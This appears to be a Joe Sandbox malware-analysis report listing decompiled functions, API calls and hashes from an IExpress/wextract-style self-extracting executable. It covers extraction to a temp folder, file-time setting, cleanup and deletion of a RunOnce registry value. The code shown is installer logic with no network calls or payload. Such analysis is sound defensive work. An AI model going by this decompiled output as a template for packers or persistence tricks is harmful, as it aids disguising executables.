Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646C3
Part of subcall function 0086468F: LoadResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646CC
Part of subcall function 0086468F: LockResource.KERNEL32(00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646D3
Part of subcall function 0086468F: memcpy_s.MSVCRT ref: 008646E5
Part of subcall function 0086468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008646EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00862F4D,?,00000002,00000000), ref: 00865201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00865250

Part of subcall function 008644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00864518
Part of subcall function 008644B9: MessageBoxA.USER32(?,?,herso,00010010), ref: 00864554

Part of subcall function 00866285: GetLastError.KERNEL32(00865BBC), ref: 00866285

Strings

UPROMPT, xrefs: 008651EF, 00865230
<None>, xrefs: 00865262

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 749673c12c08e511b20bfc6a76a1e857802e6df0248f4b6754157231666dfa62
Instruction ID: c205b1327af470fd234488771dc338c82de302d50aa0e1b94ab8770412edf395
Opcode Fuzzy Hash: 749673c12c08e511b20bfc6a76a1e857802e6df0248f4b6754157231666dfa62
Instruction Fuzzy Hash: D911D0B1201605BBE7146BB55D5AB3B719EFB89788F134029F742E6391EEBD8C00462A

Uniqueness

Uniqueness Score: -1.00%

Function 008652B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E008652B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0x868004; // 0xb82e2007
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0x8691e0; // 0x2df8360
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0x868a24 == 0 &&  *0x869a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0x868a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0x868a24 == 0 &&  *0x869a30 == 0) {
					_push(_t22);
					E00861781( &_v268, 0x104, _t22, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
					if(( *0x869a34 & 0x00000020) != 0) {
						E008665E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E00862390( &_v268);
					_t11 =  *0x868a20; // 0x0
				}
				if( *0x869a40 != 1 && _t11 != 0) {
					_t11 = E00861FE1(_t22); // executed
				}
				 *0x868a20 =  *0x868a20 & 0x00000000;
				return E00866CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x008652b6
0x008652b6
0x008652b6
0x008652c1
0x008652c8
0x008652cb
0x008652cc
0x008652d4
0x008652d6
0x008652d7
0x008652de
0x008652e0
0x008652f2
0x008652fa
0x008652fa
0x00865302
0x00865305
0x0086530c
0x00865312
0x00865316
0x00865316
0x00865317
0x0086531c
0x0086531f
0x00865333
0x00865345
0x00865351
0x00865359
0x00865359
0x00865363
0x00865369
0x0086536f
0x00865374
0x00865374
0x00865381
0x00865387
0x00865387
0x0086538f
0x008653a0

APIs

SetFileAttributesA.KERNELBASE(02DF8360,00000080,?,00000000), ref: 008652F2
DeleteFileA.KERNELBASE(02DF8360), ref: 008652FA
LocalFree.KERNEL32(02DF8360,?,00000000), ref: 00865305
LocalFree.KERNEL32(02DF8360), ref: 0086530C
SetCurrentDirectoryA.KERNELBASE(008611FC,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00865363

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00865334

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 2833751637-2312194364
Opcode ID: a5f94e97cfaefb19e0b6bf88f68344f2f7ad4317c9702708ad58d07704079947
Instruction ID: 0d3cf67b9169ea1a218d00c450c1bce7c49d55812931b1efa1168bc0be72c6ef
Opcode Fuzzy Hash: a5f94e97cfaefb19e0b6bf88f68344f2f7ad4317c9702708ad58d07704079947
Instruction Fuzzy Hash: 9D21CF31900A24DBCB349F54EE1AB6937B4FB11B41F0B2259E986E63A0CFF45C84CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00861FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00861FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0x868530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup0"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x00861fee
0x00862005
0x0086200d
0x00862017
0x00000000
0x00862020
0x0086200d
0x00862029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,0086538C,?,?,0086538C), ref: 00862005
RegDeleteValueA.KERNELBASE(0086538C,wextract_cleanup0,?,?,0086538C), ref: 00862017
RegCloseKey.ADVAPI32(0086538C,?,?,0086538C), ref: 00862020

Strings

wextract_cleanup0, xrefs: 00861FE7, 0086200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00861FFB

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: 53c7bb2fc812a9c7f844a199faae4e88520772b44264be2396aa4bcc0472abe8
Instruction ID: d9111e55a14020002a506e61199f869f496dc4e0b5b36fd27f1eef70d680144a
Opcode Fuzzy Hash: 53c7bb2fc812a9c7f844a199faae4e88520772b44264be2396aa4bcc0472abe8
Instruction Fuzzy Hash: 10E04F30555B19FBD7258B91EC4EF597B29F700740F120295FA09F0160EBB15A14DA07

Uniqueness

Uniqueness Score: -1.00%

Function 00864CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00864CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0x868004; // 0xb82e2007
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0x8691d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E00864E99(_t75);
						L35:
						return E00866CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0x868584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0x8691e4;
						_t58 = 0x8691e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0x8691e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0x8691e4;
						_t30 = E00864702( &_v268, 0x8691e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E0086476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E00864980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E008647E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0x8693f4 =  *0x8693f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0x8691e4;
						_t63 = 0x8691e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0x8691e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0x8691e4;
						_t30 = E00864702( &_v268, 0x8691e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E00864C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E00864B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E00864B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x00864cd0
0x00864cdb
0x00864ce0
0x00864ce2
0x00864cee
0x00864cf2
0x00864d0e
0x00864d0e
0x00864d11
0x00864e83
0x00864e88
0x00864e98
0x00864e98
0x00864d17
0x00864d17
0x00864d1a
0x00864d2f
0x00864d2f
0x00000000
0x00864d2f
0x00864d1c
0x00864d1c
0x00864d1f
0x00864dcb
0x00864dd0
0x00864dd2
0x00864ddd
0x00864ddd
0x00864de3
0x00864de8
0x00864ded
0x00864ded
0x00864def
0x00864df0
0x00864df0
0x00864df4
0x00864df4
0x00864df6
0x00864df9
0x00864dfc
0x00864dfc
0x00864dfe
0x00864dff
0x00864dff
0x00864e03
0x00864e08
0x00864e0a
0x00864e0f
0x00864d03
0x00864d03
0x00000000
0x00864d03
0x00864e18
0x00864e20
0x00864e25
0x00864e27
0x00000000
0x00000000
0x00864e33
0x00864e38
0x00864e3a
0x00000000
0x00000000
0x00864e40
0x00864e51
0x00864e56
0x00864e5b
0x00864e5e
0x00000000
0x00000000
0x00864e6a
0x00864e6f
0x00864e71
0x00000000
0x00000000
0x00864e77
0x00864e7d
0x00000000
0x00864e7d
0x00864d25
0x00864d25
0x00864d28
0x00864d36
0x00864d3b
0x00864d40
0x00864d40
0x00864d42
0x00864d43
0x00864d43
0x00864d47
0x00864d4a
0x00864d4a
0x00864d4c
0x00864d4f
0x00864d4f
0x00864d51
0x00864d52
0x00864d52
0x00864d56
0x00864d5b
0x00864d5d
0x00864d62
0x00000000
0x00000000
0x00864d67
0x00864d6f
0x00864d74
0x00864d76
0x00000000
0x00000000
0x00864d7c
0x00864d84
0x00864d89
0x00864d8b
0x00000000
0x00000000
0x00864d94
0x00864d99
0x00864d9e
0x00864da1
0x00864daa
0x00864daa
0x00864da3
0x00864da3
0x00864da3
0x00864db5
0x00864dbb
0x00864dbd
0x00000000
0x00864dc3
0x00864dc5
0x00000000
0x00864dc5
0x00864dbd
0x00864d2a
0x00864d2a
0x00864d2d
0x00000000
0x00000000
0x00000000
0x00864d2d
0x00864cf8
0x00864cfd
0x00864d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00864DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00864DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00864D36, 00864DE3

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-2312194364
Opcode ID: 98607b36fe3a9808a1709c7d77dc3e2ba59b4d0063c817711d1b6d00c7010c44
Instruction ID: 22769ecb6bf5fae12762fbadfd885e95879bf70f343e22c2994e5eaa89e02ea8
Opcode Fuzzy Hash: 98607b36fe3a9808a1709c7d77dc3e2ba59b4d0063c817711d1b6d00c7010c44
Instruction Fuzzy Hash: 5D415936A001058BCB259F38DD44AFD73A5FB46710F166668D882D7682DF32DE4AC750

Uniqueness

Uniqueness Score: -1.00%

Function 00864C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00864C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0x868d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0x868d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x00864c40
0x00864c4a
0x00864c8d
0x00000000
0x00864c70
0x00864c70
0x00864c7e
0x00864c86
0x00000000
0x00000000
0x00000000
0x00864c8a

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00864C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00864C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00864C7E

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 5235b526bb0ac2816d1b3277e84ffdd5a8fa71e8b8eceb5e7a2628f5d6b50907
Instruction ID: 19da8557ee60edb34baeda90510247d188ac68b3d9b80f214c337ccb64714102
Opcode Fuzzy Hash: 5235b526bb0ac2816d1b3277e84ffdd5a8fa71e8b8eceb5e7a2628f5d6b50907
Instruction Fuzzy Hash: 62F0907260120CAFDB24DFB4CC48DBF7BACFB04240B46152BE916D2150EA74D914CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0086487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0086487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E0086490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x00864880
0x0086488c
0x00864894
0x008648a0
0x008648c9
0x008648ce
0x008648a2
0x008648a8
0x008648b7
0x008648bc
0x008648aa
0x008648ac
0x008648ac
0x008648a8
0x008648de
0x008648e7
0x0086490b
0x008648ee
0x008648f0
0x00000000
0x00864902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00864A23,?,00864F67,*MEMCAB,00008000,00000180), ref: 008648DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00864F67,*MEMCAB,00008000,00000180), ref: 00864902

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2e6327df9ecb71321cc68988ecf675ea3d1c3e1821ee3adffa3d320c7e20bbb5
Instruction ID: 8d3fb73430f976bde3c8cdf3bf316b24f64389a441c08ee1416c98691f840351
Opcode Fuzzy Hash: 2e6327df9ecb71321cc68988ecf675ea3d1c3e1821ee3adffa3d320c7e20bbb5
Instruction Fuzzy Hash: 78016DA3E1157426F32841294C88FBB591CEBD6B34F1B2334FDEAE71D2D5644C0482E0

Uniqueness

Uniqueness Score: -1.00%

Function 00864AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00864AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0x86858c; // 0x274
				_t9 = E00863680(_t20);
				if( *0x8691d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0x868d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0x869400; // 0x89475
							_t15 = _t14 + _t25;
							 *0x869400 = _t15;
							if( *0x868184 != 0) {
								_t21 =  *0x868584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0x8693f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x00864ad5
0x00864adb
0x00864ae7
0x00864aee
0x00864b05
0x00864b0d
0x00864b14
0x00864b1a
0x00864b1c
0x00864b21
0x00864b2a
0x00864b2f
0x00864b31
0x00864b39
0x00864b54
0x00864b54
0x00864b39
0x00864b2f
0x00864b0f
0x00864b0f
0x00864b0f
0x00864b5e
0x00864ae9
0x00864aed
0x00864aed

APIs

Part of subcall function 00863680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0086369F
Part of subcall function 00863680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 008636B2
Part of subcall function 00863680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 008636DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00864B05

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: b655c3868383783b98035234ba7cd5859a60c20a47deac80055a4e9e798d9cf3
Instruction ID: bee5f29e885050f6f1aacb998b1ae4d0fb2b2d232416029d0dfd5510cc2c8e9b
Opcode Fuzzy Hash: b655c3868383783b98035234ba7cd5859a60c20a47deac80055a4e9e798d9cf3
Instruction Fuzzy Hash: AA019271200215EBD7198F98DC05BAA775DF744735F16A225F939DB2E0CBB0D811CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0086658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0x868b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0x868b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E008616B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x00866592
0x00866594
0x00866596
0x00866598
0x00866598
0x0086659b
0x0086659b
0x0086659d
0x0086659e
0x008665a2
0x008665a4
0x008665a9
0x008665b2
0x008665b6
0x008665ba
0x008665c3
0x008665c5
0x008665c8
0x008665c8
0x008665c3
0x008665c9
0x008665cc
0x008665d2
0x008665d1
0x008665d1
0x00000000
0x008665dc
0x00000000

APIs

CharPrevA.USER32(00868B3E,00868B3F,00000001,00868B3E,-00000003,?,008660EC,00861140,?), ref: 008665BA

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 036619c51bbae4b118d7c10c0190bd30f63a0ec528f7d157b467c2554b852f5f
Instruction ID: 940ee27e042bd1e56af9c0dcf4fa49704de3ab965b70835f30f7145e701e7ed5
Opcode Fuzzy Hash: 036619c51bbae4b118d7c10c0190bd30f63a0ec528f7d157b467c2554b852f5f
Instruction Fuzzy Hash: 7AF04C326042D09BD731491DD88DB76BFDEFB86350F2A016EE8DBC3205EA658C5583A4

Uniqueness

Uniqueness Score: -1.00%

Function 0086621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0086621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0x868004; // 0xb82e2007
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E0086597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E008644B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0x869124 = E00866285();
					_t9 = 0;
				}
				return E00866CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x00866229
0x00866230
0x00866247
0x0086626a
0x00866272
0x00866249
0x00866255
0x0086625f
0x00866264
0x00866264
0x00866284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0086623F

Part of subcall function 008644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00864518
Part of subcall function 008644B9: MessageBoxA.USER32(?,?,herso,00010010), ref: 00864554

Part of subcall function 00866285: GetLastError.KERNEL32(00865BBC), ref: 00866285

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: a49a7f280b31c715ea219f973d335aa7a159102400334fb2fc55f9b3aef23b22
Instruction ID: 005c5d7b99c4c6f778b8a37a9df928bdcab518bf22371b70bb5a7632580473c4
